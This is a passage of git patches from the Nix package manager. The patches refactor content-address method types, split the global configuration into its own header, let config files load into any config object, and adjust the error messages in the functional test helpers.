      * Git hashing.
      *
+     * Part of `ExperimentalFeature::GitHashing`.
+     *
      * See `file-system-object/content-address.md#serial-git` in the
      * manual.
      */
diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc
index 5246b03e4cd..a24dd11d6d1 100644
--- a/src/nix-env/user-env.cc
+++ b/src/nix-env/user-env.cc
@@ -115,7 +115,7 @@ bool createUserEnv(EvalState & state, PackageInfos & elems,
         std::string str2 = str.str();
         StringSource source { str2 };
         state.store->addToStoreFromDump(
-            source, "env-manifest.nix", FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, references);
+            source, "env-manifest.nix", FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, references);
     });
 
     /* Get the environment builder expression. */
diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc
index 178702f9123..d0840a02e5e 100644
--- a/src/nix-store/nix-store.cc
+++ b/src/nix-store/nix-store.cc
@@ -194,10 +194,10 @@ static void opAdd(Strings opFlags, Strings opArgs)
    store. */
 static void opAddFixed(Strings opFlags, Strings opArgs)
 {
-    auto method = FileIngestionMethod::Flat;
+    ContentAddressMethod method = ContentAddressMethod::Raw::Flat;
 
     for (auto & i : opFlags)
-        if (i == "--recursive") method = FileIngestionMethod::NixArchive;
+        if (i == "--recursive") method = ContentAddressMethod::Raw::NixArchive;
         else throw UsageError("unknown flag '%1%'", i);
 
     if (opArgs.empty())
diff --git a/src/nix/add-to-store.cc b/src/nix/add-to-store.cc
index ed46254f329..5c08f761662 100644
--- a/src/nix/add-to-store.cc
+++ b/src/nix/add-to-store.cc
@@ -12,7 +12,7 @@ struct CmdAddToStore : MixDryRun, StoreCommand
 {
     Path path;
     std::optional<std::string> namePart;
-    ContentAddressMethod caMethod = FileIngestionMethod::NixArchive;
+    ContentAddressMethod caMethod = ContentAddressMethod::Raw::NixArchive;
     HashAlgorithm hashAlgo = HashAlgorithm::SHA256;
 
     CmdAddToStore()
@@ -68,7 +68,7 @@ struct CmdAddFile : CmdAddToStore
 {
     CmdAddFile()
     {
-        caMethod = FileIngestionMethod::Flat;
+        caMethod = ContentAddressMethod::Raw::Flat;
     }
 
     std::string description() override
diff --git a/src/nix/develop.cc b/src/nix/develop.cc
index 27287a1a87a..80510dc78cb 100644
--- a/src/nix/develop.cc
+++ b/src/nix/develop.cc
@@ -238,7 +238,7 @@ static StorePath getDerivationEnvironment(ref<Store> store, ref<Store> evalStore
     auto getEnvShPath = ({
         StringSource source { getEnvSh };
         evalStore->addToStoreFromDump(
-            source, "get-env.sh", FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, {});
+            source, "get-env.sh", FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, {});
     });
 
     drv.args = {store->printStorePath(getEnvShPath)};
diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index 1439355725f..6bbf2578e3d 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -57,7 +57,9 @@ std::tuple<StorePath, Hash> prefetchFile(
         bool unpack,
         bool executable)
 {
-    auto ingestionMethod = unpack || executable ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat;
+    ContentAddressMethod method = unpack || executable
+        ? ContentAddressMethod::Raw::NixArchive
+        : ContentAddressMethod::Raw::Flat;
 
     /* Figure out a name in the Nix store. */
     if (!name) {
@@ -73,11 +75,10 @@ std::tuple<StorePath, Hash> prefetchFile(
        the store. */
     if (expectedHash) {
         hashAlgo = expectedHash->algo;
-        storePath = store->makeFixedOutputPath(*name, FixedOutputInfo {
-            .method = ingestionMethod,
-            .hash = *expectedHash,
-            .references = {},
-        });
+        storePath = store->makeFixedOutputPathFromCA(*name, ContentAddressWithReferences::fromParts(
+            method,
+            *expectedHash,
+            {}));
         if (store->isValidPath(*storePath))
             hash = expectedHash;
         else
@@ -128,7 +129,7 @@ std::tuple<StorePath, Hash> prefetchFile(
 
         auto info = store->addToStoreSlow(
             *name, PosixSourceAccessor::createAtRoot(tmpFile),
-            ingestionMethod, hashAlgo, {}, expectedHash);
+            method, hashAlgo, {}, expectedHash);
         storePath = info.path;
         assert(info.ca);
         hash = info.ca->hash;
diff --git a/src/perl/lib/Nix/Store.xs b/src/perl/lib/Nix/Store.xs
index e8e209d977a..acce25f3a82 100644
--- a/src/perl/lib/Nix/Store.xs
+++ b/src/perl/lib/Nix/Store.xs
@@ -335,7 +335,7 @@ SV *
 StoreWrapper::addToStore(char * srcPath, int recursive, char * algo)
     PPCODE:
         try {
-            auto method = recursive ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat;
+            auto method = recursive ? ContentAddressMethod::Raw::NixArchive : ContentAddressMethod::Raw::Flat;
             auto path = THIS->store->addToStore(
                 std::string(baseNameOf(srcPath)),
                 PosixSourceAccessor::createAtRoot(srcPath),
diff --git a/tests/unit/libstore/common-protocol.cc b/tests/unit/libstore/common-protocol.cc
index 2c629b6012a..c8f6dd002d5 100644
--- a/tests/unit/libstore/common-protocol.cc
+++ b/tests/unit/libstore/common-protocol.cc
@@ -83,15 +83,15 @@ CHARACTERIZATION_TEST(
     "content-address",
     (std::tuple<ContentAddress, ContentAddress, ContentAddress> {
         ContentAddress {
-            .method = TextIngestionMethod {},
+            .method = ContentAddressMethod::Raw::Text,
             .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"),
         },
         ContentAddress {
-            .method = FileIngestionMethod::Flat,
+            .method = ContentAddressMethod::Raw::Flat,
             .hash = hashString(HashAlgorithm::SHA1, "blob blob..."),
         },
         ContentAddress {
-            .method = FileIngestionMethod::NixArchive,
+            .method = ContentAddressMethod::Raw::NixArchive,
             .hash = hashString(HashAlgorithm::SHA256, "(...)"),
         },
     }))
@@ -178,7 +178,7 @@ CHARACTERIZATION_TEST(
         std::nullopt,
         std::optional {
             ContentAddress {
-                .method = FileIngestionMethod::Flat,
+                .method = ContentAddressMethod::Raw::Flat,
                 .hash = hashString(HashAlgorithm::SHA1, "blob blob..."),
             },
         },
diff --git a/tests/unit/libstore/content-address.cc b/tests/unit/libstore/content-address.cc
index f0806bd9ac0..72eb84fec11 100644
--- a/tests/unit/libstore/content-address.cc
+++ b/tests/unit/libstore/content-address.cc
@@ -9,11 +9,11 @@ namespace nix {
  * --------------------------------------------------------------------------*/
 
 TEST(ContentAddressMethod, testRoundTripPrintParse_1) {
-    for (const ContentAddressMethod & cam : {
-        ContentAddressMethod { TextIngestionMethod {} },
-        ContentAddressMethod { FileIngestionMethod::Flat },
-        ContentAddressMethod { FileIngestionMethod::NixArchive },
-        ContentAddressMethod { FileIngestionMethod::Git },
+    for (ContentAddressMethod cam : {
+        ContentAddressMethod::Raw::Text,
+        ContentAddressMethod::Raw::Flat,
+        ContentAddressMethod::Raw::NixArchive,
+        ContentAddressMethod::Raw::Git,
     }) {
         EXPECT_EQ(ContentAddressMethod::parse(cam.render()), cam);
     }
diff --git a/tests/unit/libstore/derivation.cc b/tests/unit/libstore/derivation.cc
index 21081313762..71979f88598 100644
--- a/tests/unit/libstore/derivation.cc
+++ b/tests/unit/libstore/derivation.cc
@@ -108,7 +108,7 @@ TEST_JSON(DerivationTest, inputAddressed,
 TEST_JSON(DerivationTest, caFixedFlat,
     (DerivationOutput::CAFixed {
         .ca = {
-            .method = FileIngestionMethod::Flat,
+            .method = ContentAddressMethod::Raw::Flat,
             .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="),
         },
     }),
@@ -117,7 +117,7 @@ TEST_JSON(DerivationTest, caFixedFlat,
 TEST_JSON(DerivationTest, caFixedNAR,
     (DerivationOutput::CAFixed {
         .ca = {
-            .method = FileIngestionMethod::NixArchive,
+            .method = ContentAddressMethod::Raw::NixArchive,
             .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="),
         },
     }),
@@ -126,6 +126,7 @@ TEST_JSON(DerivationTest, caFixedNAR,
 TEST_JSON(DynDerivationTest, caFixedText,
     (DerivationOutput::CAFixed {
         .ca = {
+            .method = ContentAddressMethod::Raw::Text,
             .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="),
         },
     }),
@@ -133,7 +134,7 @@ TEST_JSON(DynDerivationTest, caFixedText,
 
 TEST_JSON(CaDerivationTest, caFloating,
     (DerivationOutput::CAFloating {
-        .method = FileIngestionMethod::NixArchive,
+        .method = ContentAddressMethod::Raw::NixArchive,
         .hashAlgo = HashAlgorithm::SHA256,
     }),
     "drv-name", "output-name")
@@ -144,7 +145,7 @@ TEST_JSON(DerivationTest, deferred,
 
 TEST_JSON(ImpureDerivationTest, impure,
     (DerivationOutput::Impure {
-        .method = FileIngestionMethod::NixArchive,
+        .method = ContentAddressMethod::Raw::NixArchive,
         .hashAlgo = HashAlgorithm::SHA256,
     }),
     "drv-name", "output-name")
diff --git a/tests/unit/libstore/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc
index 17d7153bb60..2505c5a9a42 100644
--- a/tests/unit/libstore/serve-protocol.cc
+++ b/tests/unit/libstore/serve-protocol.cc
@@ -55,15 +55,15 @@ VERSIONED_CHARACTERIZATION_TEST(
     defaultVersion,
     (std::tuple<ContentAddress, ContentAddress, ContentAddress> {
         ContentAddress {
-            .method = TextIngestionMethod {},
+            .method = ContentAddressMethod::Raw::Text,
             .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"),
         },
         ContentAddress {
-            .method = FileIngestionMethod::Flat,
+            .method = ContentAddressMethod::Raw::Flat,
             .hash = hashString(HashAlgorithm::SHA1, "blob blob..."),
         },
         ContentAddress {
-            .method = FileIngestionMethod::NixArchive,
+            .method = ContentAddressMethod::Raw::NixArchive,
             .hash = hashString(HashAlgorithm::SHA256, "(...)"),
         },
     }))
@@ -398,7 +398,7 @@ VERSIONED_CHARACTERIZATION_TEST(
         std::nullopt,
         std::optional {
             ContentAddress {
-                .method = FileIngestionMethod::Flat,
+                .method = ContentAddressMethod::Raw::Flat,
                 .hash = hashString(HashAlgorithm::SHA1, "blob blob..."),
             },
         },
diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc
index 8d81717c926..c1512001093 100644
--- a/tests/unit/libstore/worker-protocol.cc
+++ b/tests/unit/libstore/worker-protocol.cc
@@ -56,15 +56,15 @@ VERSIONED_CHARACTERIZATION_TEST(
     defaultVersion,
     (std::tuple<ContentAddress, ContentAddress, ContentAddress> {
         ContentAddress {
-            .method = TextIngestionMethod {},
+            .method = ContentAddressMethod::Raw::Text,
             .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"),
         },
         ContentAddress {
-            .method = FileIngestionMethod::Flat,
+            .method = ContentAddressMethod::Raw::Flat,
             .hash = hashString(HashAlgorithm::SHA1, "blob blob..."),
         },
         ContentAddress {
-            .method = FileIngestionMethod::NixArchive,
+            .method = ContentAddressMethod::Raw::NixArchive,
             .hash = hashString(HashAlgorithm::SHA256, "(...)"),
         },
     }))
@@ -598,7 +598,7 @@ VERSIONED_CHARACTERIZATION_TEST(
         std::nullopt,
         std::optional {
             ContentAddress {
-                .method = FileIngestionMethod::Flat,
+                .method = ContentAddressMethod::Raw::Flat,
                 .hash = hashString(HashAlgorithm::SHA1, "blob blob..."),
             },
         },

From 1620ad4587f280187124891dff909402b20db014 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 24 Jun 2024 11:34:58 -0400
Subject: [PATCH 400/528] Split out `GlobalConfig` into its own header

This makes it easier to understand the reach of global variables /
global state in the config system.
---
 src/libcmd/repl.cc                       |  1 +
 src/libexpr/eval-settings.cc             |  1 +
 src/libexpr/flake/config.cc              |  1 +
 src/libfetchers/fetch-settings.cc        |  1 +
 src/libmain/common-args.cc               |  1 +
 src/libstore/build/derivation-goal.cc    |  1 +
 src/libstore/filetransfer.cc             |  1 +
 src/libstore/globals.cc                  |  1 +
 src/libstore/unix/build/hook-instance.cc |  1 +
 src/libutil-c/nix_api_util.cc            |  2 +-
 src/libutil/archive.cc                   |  2 +-
 src/libutil/config-global.cc             | 66 ++++++++++++++++++++++++
 src/libutil/config-global.hh             | 33 ++++++++++++
 src/libutil/config.cc                    | 61 ----------------------
 src/libutil/config.hh                    | 25 ---------
 src/libutil/fs-sink.cc                   |  2 +-
 src/libutil/logging.cc                   |  2 +-
 src/nix/config.cc                        |  1 +
 src/nix/develop.cc                       |  1 +
 src/nix/unix/daemon.cc                   |  1 +
 tests/functional/plugins/plugintest.cc   |  2 +-
 tests/unit/libutil/nix_api_util.cc       |  2 +-
 22 files changed, 117 insertions(+), 92 deletions(-)
 create mode 100644 src/libutil/config-global.cc
 create mode 100644 src/libutil/config-global.hh

diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index 1e80d14e1d3..53dd94c7a1d 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -8,6 +8,7 @@
 
 #include "ansicolor.hh"
 #include "shared.hh"
+#include "config-global.hh"
 #include "eval.hh"
 #include "eval-cache.hh"
 #include "eval-inline.hh"
diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc
index 85b1677ea17..a642bb6848f 100644
--- a/src/libexpr/eval-settings.cc
+++ b/src/libexpr/eval-settings.cc
@@ -1,4 +1,5 @@
 #include "users.hh"
+#include "config-global.hh"
 #include "globals.hh"
 #include "profiles.hh"
 #include "eval.hh"
diff --git a/src/libexpr/flake/config.cc b/src/libexpr/flake/config.cc
index e0c5d45121d..03430b0e349 100644
--- a/src/libexpr/flake/config.cc
+++ b/src/libexpr/flake/config.cc
@@ -1,4 +1,5 @@
 #include "users.hh"
+#include "config-global.hh"
 #include "globals.hh"
 #include "fetch-settings.hh"
 #include "flake.hh"
diff --git a/src/libfetchers/fetch-settings.cc b/src/libfetchers/fetch-settings.cc
index e7d5244dc2c..21c42567cb5 100644
--- a/src/libfetchers/fetch-settings.cc
+++ b/src/libfetchers/fetch-settings.cc
@@ -1,4 +1,5 @@
 #include "fetch-settings.hh"
+#include "config-global.hh"
 
 namespace nix {
 
diff --git a/src/libmain/common-args.cc b/src/libmain/common-args.cc
index 5b49aaabcef..a94845ab8f3 100644
--- a/src/libmain/common-args.cc
+++ b/src/libmain/common-args.cc
@@ -1,5 +1,6 @@
 #include "common-args.hh"
 #include "args/root.hh"
+#include "config-global.hh"
 #include "globals.hh"
 #include "logging.hh"
 #include "loggers.hh"
diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc
index 146a060f3a9..64b8495e1bb 100644
--- a/src/libstore/build/derivation-goal.cc
+++ b/src/libstore/build/derivation-goal.cc
@@ -3,6 +3,7 @@
 #  include "hook-instance.hh"
 #endif
 #include "processes.hh"
+#include "config-global.hh"
 #include "worker.hh"
 #include "builtins.hh"
 #include "builtins/buildenv.hh"
diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc
index a54ebdcf388..cbbb0fe7a34 100644
--- a/src/libstore/filetransfer.cc
+++ b/src/libstore/filetransfer.cc
@@ -1,5 +1,6 @@
 #include "filetransfer.hh"
 #include "globals.hh"
+#include "config-global.hh"
 #include "store-api.hh"
 #include "s3.hh"
 #include "compression.hh"
diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc
index 88f899dbf70..8fec10d5113 100644
--- a/src/libstore/globals.cc
+++ b/src/libstore/globals.cc
@@ -1,4 +1,5 @@
 #include "globals.hh"
+#include "config-global.hh"
 #include "current-process.hh"
 #include "archive.hh"
 #include "args.hh"
diff --git a/src/libstore/unix/build/hook-instance.cc b/src/libstore/unix/build/hook-instance.cc
index 5d045ec3d07..dfc20879881 100644
--- a/src/libstore/unix/build/hook-instance.cc
+++ b/src/libstore/unix/build/hook-instance.cc
@@ -1,4 +1,5 @@
 #include "globals.hh"
+#include "config-global.hh"
 #include "hook-instance.hh"
 #include "file-system.hh"
 #include "child.hh"
diff --git a/src/libutil-c/nix_api_util.cc b/src/libutil-c/nix_api_util.cc
index 0a9b493459c..4f65a4c122c 100644
--- a/src/libutil-c/nix_api_util.cc
+++ b/src/libutil-c/nix_api_util.cc
@@ -1,5 +1,5 @@
 #include "nix_api_util.h"
-#include "config.hh"
+#include "config-global.hh"
 #include "error.hh"
 #include "nix_api_util_internal.h"
 #include "util.hh"
diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc
index d20936de4b4..22be392d465 100644
--- a/src/libutil/archive.cc
+++ b/src/libutil/archive.cc
@@ -6,7 +6,7 @@
 #include <strings.h> // for strcasecmp
 
 #include "archive.hh"
-#include "config.hh"
+#include "config-global.hh"
 #include "posix-source-accessor.hh"
 #include "source-path.hh"
 #include "file-system.hh"
diff --git a/src/libutil/config-global.cc b/src/libutil/config-global.cc
new file mode 100644
index 00000000000..e8025b30313
--- /dev/null
+++ b/src/libutil/config-global.cc
@@ -0,0 +1,66 @@
+#include "config-global.hh"
+
+namespace nix {
+
+bool GlobalConfig::set(const std::string & name, const std::string & value)
+{
+    for (auto & config : *configRegistrations)
+        if (config->set(name, value)) return true;
+
+    unknownSettings.emplace(name, value);
+
+    return false;
+}
+
+void GlobalConfig::getSettings(std::map<std::string, SettingInfo> & res, bool overriddenOnly)
+{
+    for (auto & config : *configRegistrations)
+        config->getSettings(res, overriddenOnly);
+}
+
+void GlobalConfig::resetOverridden()
+{
+    for (auto & config : *configRegistrations)
+        config->resetOverridden();
+}
+
+nlohmann::json GlobalConfig::toJSON()
+{
+    auto res = nlohmann::json::object();
+    for (const auto & config : *configRegistrations)
+        res.update(config->toJSON());
+    return res;
+}
+
+std::string GlobalConfig::toKeyValue()
+{
+    std::string res;
+    std::map<std::string, Config::SettingInfo> settings;
+    globalConfig.getSettings(settings);
+    for (const auto & s : settings)
+        res += fmt("%s = %s\n", s.first, s.second.value);
+    return res;
+}
+
+void GlobalConfig::convertToArgs(Args & args, const std::string & category)
+{
+    for (auto & config : *configRegistrations)
+        config->convertToArgs(args, category);
+}
+
+GlobalConfig globalConfig;
+
+GlobalConfig::ConfigRegistrations * GlobalConfig::configRegistrations;
+
+GlobalConfig::Register::Register(Config * config)
+{
+    if (!configRegistrations)
+        configRegistrations = new ConfigRegistrations;
+    configRegistrations->emplace_back(config);
+}
+
+ExperimentalFeatureSettings experimentalFeatureSettings;
+
+static GlobalConfig::Register rSettings(&experimentalFeatureSettings);
+
+}
diff --git a/src/libutil/config-global.hh b/src/libutil/config-global.hh
new file mode 100644
index 00000000000..1b7b69a0dd4
--- /dev/null
+++ b/src/libutil/config-global.hh
@@ -0,0 +1,33 @@
+#pragma once
+///@file
+
+#include "config.hh"
+
+namespace nix {
+
+struct GlobalConfig : public AbstractConfig
+{
+    typedef std::vector<Config*> ConfigRegistrations;
+    static ConfigRegistrations * configRegistrations;
+
+    bool set(const std::string & name, const std::string & value) override;
+
+    void getSettings(std::map<std::string, SettingInfo> & res, bool overriddenOnly = false) override;
+
+    void resetOverridden() override;
+
+    nlohmann::json toJSON() override;
+
+    std::string toKeyValue() override;
+
+    void convertToArgs(Args & args, const std::string & category) override;
+
+    struct Register
+    {
+        Register(Config * config);
+    };
+};
+
+extern GlobalConfig globalConfig;
+
+}
diff --git a/src/libutil/config.cc b/src/libutil/config.cc
index efde8591b80..192a4ecb951 100644
--- a/src/libutil/config.cc
+++ b/src/libutil/config.cc
@@ -443,67 +443,6 @@ void OptionalPathSetting::operator =(const std::optional<Path> & v)
     this->assign(v);
 }
 
-bool GlobalConfig::set(const std::string & name, const std::string & value)
-{
-    for (auto & config : *configRegistrations)
-        if (config->set(name, value)) return true;
-
-    unknownSettings.emplace(name, value);
-
-    return false;
-}
-
-void GlobalConfig::getSettings(std::map<std::string, SettingInfo> & res, bool overriddenOnly)
-{
-    for (auto & config : *configRegistrations)
-        config->getSettings(res, overriddenOnly);
-}
-
-void GlobalConfig::resetOverridden()
-{
-    for (auto & config : *configRegistrations)
-        config->resetOverridden();
-}
-
-nlohmann::json GlobalConfig::toJSON()
-{
-    auto res = nlohmann::json::object();
-    for (const auto & config : *configRegistrations)
-        res.update(config->toJSON());
-    return res;
-}
-
-std::string GlobalConfig::toKeyValue()
-{
-    std::string res;
-    std::map<std::string, Config::SettingInfo> settings;
-    globalConfig.getSettings(settings);
-    for (const auto & s : settings)
-        res += fmt("%s = %s\n", s.first, s.second.value);
-    return res;
-}
-
-void GlobalConfig::convertToArgs(Args & args, const std::string & category)
-{
-    for (auto & config : *configRegistrations)
-        config->convertToArgs(args, category);
-}
-
-GlobalConfig globalConfig;
-
-GlobalConfig::ConfigRegistrations * GlobalConfig::configRegistrations;
-
-GlobalConfig::Register::Register(Config * config)
-{
-    if (!configRegistrations)
-        configRegistrations = new ConfigRegistrations;
-    configRegistrations->emplace_back(config);
-}
-
-ExperimentalFeatureSettings experimentalFeatureSettings;
-
-static GlobalConfig::Register rSettings(&experimentalFeatureSettings);
-
 bool ExperimentalFeatureSettings::isEnabled(const ExperimentalFeature & feature) const
 {
     auto & f = experimentalFeatures.get();
diff --git a/src/libutil/config.hh b/src/libutil/config.hh
index 07322b60d7a..1952ba1b8d7 100644
--- a/src/libutil/config.hh
+++ b/src/libutil/config.hh
@@ -375,31 +375,6 @@ public:
     void operator =(const std::optional<Path> & v);
 };
 
-struct GlobalConfig : public AbstractConfig
-{
-    typedef std::vector<Config*> ConfigRegistrations;
-    static ConfigRegistrations * configRegistrations;
-
-    bool set(const std::string & name, const std::string & value) override;
-
-    void getSettings(std::map<std::string, SettingInfo> & res, bool overriddenOnly = false) override;
-
-    void resetOverridden() override;
-
-    nlohmann::json toJSON() override;
-
-    std::string toKeyValue() override;
-
-    void convertToArgs(Args & args, const std::string & category) override;
-
-    struct Register
-    {
-        Register(Config * config);
-    };
-};
-
-extern GlobalConfig globalConfig;
-
 
 struct ExperimentalFeatureSettings : Config {
 
diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc
index 91070ea89a9..a6a74373767 100644
--- a/src/libutil/fs-sink.cc
+++ b/src/libutil/fs-sink.cc
@@ -1,7 +1,7 @@
 #include <fcntl.h>
 
 #include "error.hh"
-#include "config.hh"
+#include "config-global.hh"
 #include "fs-sink.hh"
 
 #if _WIN32
diff --git a/src/libutil/logging.cc b/src/libutil/logging.cc
index 5fa01f0d969..55751b4cf0d 100644
--- a/src/libutil/logging.cc
+++ b/src/libutil/logging.cc
@@ -3,7 +3,7 @@
 #include "environment-variables.hh"
 #include "terminal.hh"
 #include "util.hh"
-#include "config.hh"
+#include "config-global.hh"
 #include "source-path.hh"
 #include "position.hh"
 
diff --git a/src/nix/config.cc b/src/nix/config.cc
index 52706afcf37..07f975a006a 100644
--- a/src/nix/config.cc
+++ b/src/nix/config.cc
@@ -2,6 +2,7 @@
 #include "common-args.hh"
 #include "shared.hh"
 #include "store-api.hh"
+#include "config-global.hh"
 
 #include <nlohmann/json.hpp>
 
diff --git a/src/nix/develop.cc b/src/nix/develop.cc
index 27287a1a87a..a7acbff0bcf 100644
--- a/src/nix/develop.cc
+++ b/src/nix/develop.cc
@@ -1,3 +1,4 @@
+#include "config-global.hh"
 #include "eval.hh"
 #include "installable-flake.hh"
 #include "command-installable-value.hh"
diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc
index f1fc51682cd..41ea1f5a467 100644
--- a/src/nix/unix/daemon.cc
+++ b/src/nix/unix/daemon.cc
@@ -10,6 +10,7 @@
 #include "serialise.hh"
 #include "archive.hh"
 #include "globals.hh"
+#include "config-global.hh"
 #include "derivations.hh"
 #include "finally.hh"
 #include "legacy.hh"
diff --git a/tests/functional/plugins/plugintest.cc b/tests/functional/plugins/plugintest.cc
index e02fd68d5cd..7433ad19008 100644
--- a/tests/functional/plugins/plugintest.cc
+++ b/tests/functional/plugins/plugintest.cc
@@ -1,4 +1,4 @@
-#include "config.hh"
+#include "config-global.hh"
 #include "primops.hh"
 
 using namespace nix;
diff --git a/tests/unit/libutil/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc
index d2999f55b39..2b7e3822525 100644
--- a/tests/unit/libutil/nix_api_util.cc
+++ b/tests/unit/libutil/nix_api_util.cc
@@ -1,4 +1,4 @@
-#include "config.hh"
+#include "config-global.hh"
 #include "args.hh"
 #include "nix_api_util.h"
 #include "nix_api_util_internal.h"

From b46e13840b948a363e2aa082f6064dfaeab58c06 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 24 Jun 2024 12:07:08 -0400
Subject: [PATCH 401/528] Format `config-global.{cc,hh}`

Since the code is factored out, it is no longer avoding the formatter.
---
 src/libutil/config-global.cc | 3 ++-
 src/libutil/config-global.hh | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/src/libutil/config-global.cc b/src/libutil/config-global.cc
index e8025b30313..4c08898a40c 100644
--- a/src/libutil/config-global.cc
+++ b/src/libutil/config-global.cc
@@ -5,7 +5,8 @@ namespace nix {
 bool GlobalConfig::set(const std::string & name, const std::string & value)
 {
     for (auto & config : *configRegistrations)
-        if (config->set(name, value)) return true;
+        if (config->set(name, value))
+            return true;
 
     unknownSettings.emplace(name, value);
 
diff --git a/src/libutil/config-global.hh b/src/libutil/config-global.hh
index 1b7b69a0dd4..2caf515240d 100644
--- a/src/libutil/config-global.hh
+++ b/src/libutil/config-global.hh
@@ -7,7 +7,7 @@ namespace nix {
 
 struct GlobalConfig : public AbstractConfig
 {
-    typedef std::vector<Config*> ConfigRegistrations;
+    typedef std::vector<Config *> ConfigRegistrations;
     static ConfigRegistrations * configRegistrations;
 
     bool set(const std::string & name, const std::string & value) override;

From cb0c868da4ced09179182792b8be1d7259238f98 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 24 Jun 2024 11:55:36 -0400
Subject: [PATCH 402/528] Allow loading config files into other config objects

This gives us some hope of moving away from global variables.
---
 src/libstore/globals.cc | 10 +++++-----
 src/libstore/globals.hh |  8 +++++++-
 2 files changed, 12 insertions(+), 6 deletions(-)

diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc
index 8fec10d5113..7e1d7ea6d67 100644
--- a/src/libstore/globals.cc
+++ b/src/libstore/globals.cc
@@ -124,12 +124,12 @@ Settings::Settings()
     };
 }
 
-void loadConfFile()
+void loadConfFile(AbstractConfig & config)
 {
     auto applyConfigFile = [&](const Path & path) {
         try {
             std::string contents = readFile(path);
-            globalConfig.applyConfig(contents, path);
+            config.applyConfig(contents, path);
         } catch (SystemError &) { }
     };
 
@@ -137,7 +137,7 @@ void loadConfFile()
 
     /* We only want to send overrides to the daemon, i.e. stuff from
        ~/.nix/nix.conf or the command line. */
-    globalConfig.resetOverridden();
+    config.resetOverridden();
 
     auto files = settings.nixUserConfFiles;
     for (auto file = files.rbegin(); file != files.rend(); file++) {
@@ -146,7 +146,7 @@ void loadConfFile()
 
     auto nixConfEnv = getEnv("NIX_CONFIG");
     if (nixConfEnv.has_value()) {
-        globalConfig.applyConfig(nixConfEnv.value(), "NIX_CONFIG");
+        config.applyConfig(nixConfEnv.value(), "NIX_CONFIG");
     }
 
 }
@@ -438,7 +438,7 @@ void initLibStore(bool loadConfig) {
     initLibUtil();
 
     if (loadConfig)
-        loadConfFile();
+        loadConfFile(globalConfig);
 
     preloadNSS();
 
diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh
index 843e77bcf5f..439e9f4fc10 100644
--- a/src/libstore/globals.hh
+++ b/src/libstore/globals.hh
@@ -1284,7 +1284,13 @@ extern Settings settings;
  */
 void initPlugins();
 
-void loadConfFile();
+/**
+ * Load the configuration (from `nix.conf`, `NIX_CONFIG`, etc.) into the
+ * given configuration object.
+ *
+ * Usually called with `globalConfig`.
+ */
+void loadConfFile(AbstractConfig & config);
 
 // Used by the Settings constructor
 std::vector<Path> getUserConfigFiles();

From d4ca634508236ff0343f200c9aef4c21e752e961 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 24 Jun 2024 18:11:10 +0200
Subject: [PATCH 403/528] tests/functional: Differentiate die and fail

---
 tests/functional/common/vars-and-functions.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh
index 8d99800efa3..37c1090158d 100644
--- a/tests/functional/common/vars-and-functions.sh
+++ b/tests/functional/common/vars-and-functions.sh
@@ -11,7 +11,7 @@ isTestOnNixOS() {
 }
 
 die() {
-  echo "fatal error: $*" >&2
+  echo "unexpected fatal error: $*" >&2
   exit 1
 }
 
@@ -216,7 +216,7 @@ requireGit() {
 }
 
 fail() {
-    echo "$1" >&2
+    echo "test failed: $1" >&2
     exit 1
 }
 

From 5a7ccd658093c7c0598d4e5cce823aee9a3265f1 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 24 Jun 2024 18:11:58 +0200
Subject: [PATCH 404/528] tests/functional: Print all args of fail()

---
 tests/functional/common/vars-and-functions.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh
index 37c1090158d..4316a30d5ce 100644
--- a/tests/functional/common/vars-and-functions.sh
+++ b/tests/functional/common/vars-and-functions.sh
@@ -216,7 +216,7 @@ requireGit() {
 }
 
 fail() {
-    echo "test failed: $1" >&2
+    echo "test failed: $*" >&2
     exit 1
 }
 

